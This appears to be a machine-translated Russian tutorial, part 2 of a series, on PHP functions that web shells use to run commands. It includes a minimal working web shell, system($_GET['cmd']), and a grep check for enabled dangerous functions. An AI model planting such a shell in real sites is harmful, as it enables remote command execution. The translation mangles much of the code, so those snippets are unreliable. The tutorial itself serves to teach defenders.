Веб-оболочки 101 с использованием PHP - Введение в веб-оболочки - Часть 2

  1. Система ()
  2. Exec ()
  3. shell_exec ()
  4. пройти()
  5. proc_open ()
  6. preg_replace () с модификатором / e
  7. Часть 3

В   часть 1   В этой серии мы рассмотрели, что такое веб-оболочка и почему злоумышленник попытается ее использовать

В часть 1 В этой серии мы рассмотрели, что такое веб-оболочка и почему злоумышленник попытается ее использовать. Во второй части этой серии мы рассмотрим некоторые конкретные примеры веб-оболочек на языке программирования PHP.

Веб-оболочки существуют практически для каждого языка веб-программирования, о котором вы только можете подумать. Мы решили сосредоточиться на PHP, потому что это наиболее широко используемый язык программирования в сети.

Веб-оболочки PHP не делают ничего, кроме использования встроенных функций PHP для выполнения команд. Ниже приведены некоторые из наиболее распространенных функций, используемых для выполнения команд оболочки в PHP.

Примечание. Для целей этой статьи мы отредактировали наш файл hosts и указали домен www.example.com на тестовый сервер.

Система ()

Функция system () принимает команду в качестве параметра и выводит результат.

В следующем примере на компьютере под управлением Microsoft Windows будет запущена команда dir, чтобы получить список каталогов, в котором выполняется файл PHP.

&lt;? php // Возвращаем список каталогов, в которых запускается файл (Windows) system ("dir"); ?> -> Том на диске C не имеет метки. Серийный номер тома: A08E-9C63 Каталог C: \ webserver \ www \ demo 27.04.2016, 22:21 <DIR>. 27.04.2016, 22:21 <DIR> .. 27.04.2016, 22:19 22 shell.php 1 Файл (ов) 22 байта 2 Dir (ов) 31 977 467 904 байта свободен

Аналогично, выполнение команды ls на компьютере с Linux дает аналогичный результат.

&lt;? php // Возвращаем список каталогов, в которых запускается файл (Linux) system ("ls -la"); ?> -> всего 12 drwxrwxr-x 2 secuser secuser 4096 27 апреля 20:43. drwxr-xr-x 6 secuser secuser 4096 27 апреля 20:40 .. -rw-rw-r-- 1 secuser secuser 26 апреля 27 20:41 shell.php

Другие команды имеют тот же эффект.

&lt;? php // Возвращаем пользователя, сценарий которого запущен в системе («whoami»); ?> -> www-data

Exec ()

Функция exec () принимает команду в качестве параметра, но не выводит результат. Если указан второй необязательный параметр, результат будет возвращен в виде массива. В противном случае будет отображаться только последняя строка результата.

&lt;? php // Выполняет, но ничего не возвращает exec ("ls -la"); ?> ->

Использование echo с функцией exec () выводит только последнюю строку вывода команды.

&lt;? php // Выполняет, возвращает только последнюю строку вывода echo exec ("ls -la"); ?> -> -rw-rw-r-- 1 секьюсер секьюсер 29 апреля 27 20:49 shell.php

Если указан второй параметр, результат возвращается в массиве.

&lt;? php // Выполняет, возвращает вывод в массив exec ("ls -la", $ array); print_r ($ массив); ?> -> Массив ([0] => всего 12 [1] => secuser drwxrwxr-x 2 4096 27 апреля 20:55. [2] => secuser drwxr-xr-x 6 4096 27 апреля 20: 40 .. [3] => -rw-rw-r-- 1 секьюсер секьюсер 49 апр. 27 20:54 shell.php)

shell_exec ()

Функция shell_exec () похожа на exec (), но вместо этого выводит весь результат в виде строки.

&lt;? php // Выполняет, возвращает весь вывод в виде строки echo shell_exec («ls -la«); ?> -> всего 12 drwxrwxr-x 2 secuser secuser 4096 28 апреля 18:24. drwxr-xr-x 6 secuser secuser 4096 27 апреля 20:40 .. -rw-rw-r-- 1 secuser secuser 36 апр. 28 18:24 shell.php

пройти()

Функция passthru () выполняет команду и возвращает вывод в необработанном формате.

&lt;? php // Выполняет, возвращает вывод в необработанном формате passsthru («ls -la«); ?> -> всего 12 drwxrwxr-x 2 secuser secuser 4096 28 апреля 18:23. drwxr-xr-x 6 secuser secuser 4096 27 апреля 20:40 .. -rw-rw-r-- 1 secuser secuser 29 апреля 28 18:23 shell.php

proc_open ()

Функция proc_open () может быть трудной для понимания (подробное описание функции можно найти в PHP документы ). Проще говоря, с помощью proc_open () мы можем создать обработчик (процесс), который будет использоваться для связи между нашим скриптом и программой, которую мы хотим запустить.

preg_replace () с модификатором / e

Функция preg_replace () может выполнять поиск и замену регулярного выражения. Модификатор / e (который устарел) выполняет замену с помощью eval (). Это означает, что мы можем затем передать PHP-код, который будет выполнен функцией eval ().

&lt;? php preg_replace ('/.*/ e', 'system ("whoami");', ''); ?> -> www-data

Обратные кавычки

Удивительно, но не многие разработчики PHP знают об этом, однако PHP будет выполнять содержимое обратных символов (`) как команду оболочки.

Примечание. Символ обратной черты (`) не следует путать с символом одинарных кавычек (')

&lt;? php $ output = `whoami`; echo "<pre> $ output </ pre>"; ?> -> www-data

Исходя из вышеизложенного, ниже приведена веб-оболочка PHP в ее самой простой форме.

&lt;? php system ($ _ GET ['cmd']);?>

Он использует функцию system () для выполнения команд, которые передаются через параметр GET HTTP-запроса 'cmd' .

Он использует функцию system () для выполнения команд, которые передаются через параметр GET HTTP-запроса 'cmd'

Мы установили, что эти функции (и некоторые другие) могут быть очень опасными. Что еще более опасно, так это то, что все эти встроенные команды PHP включены по умолчанию, когда установлен PHP, и большинство системных администраторов не отключают их.

Если вы не уверены, включены ли они в вашей системе, следующая команда (необходимо установить PHP CLI) вернет список опасных функций, которые включены.

php -r 'print_r (get_defined_functions ());' | grep -E '(system | exec | shell_exec | passthru | proc_open | popen | curl_exec | curl_multi_exec | parse_ini_file | show_source)' &lt;? php print_r (get_defined_functions ()); ?>

При установке по умолчанию мы видим, что все функции, упомянутые выше, включены.

[669] => exec [670] => system [673] => passthru [674] => shell_exec [675] => proc_open [786] => show_source [807] => parse_ini_file [843] => popen

Часть 3

Хранение паутины под прикрытием

Lt;?
Php // Возвращаем список каталогов, в которых запускается файл (Windows) system ("dir"); ?
Lt;?
Php // Возвращаем список каталогов, в которых запускается файл (Linux) system ("ls -la"); ?
Lt;?
Php // Возвращаем пользователя, сценарий которого запущен в системе («whoami»); ?
Lt;?
Php // Выполняет, но ничего не возвращает exec ("ls -la"); ?
Lt;?
Php // Выполняет, возвращает только последнюю строку вывода echo exec ("ls -la"); ?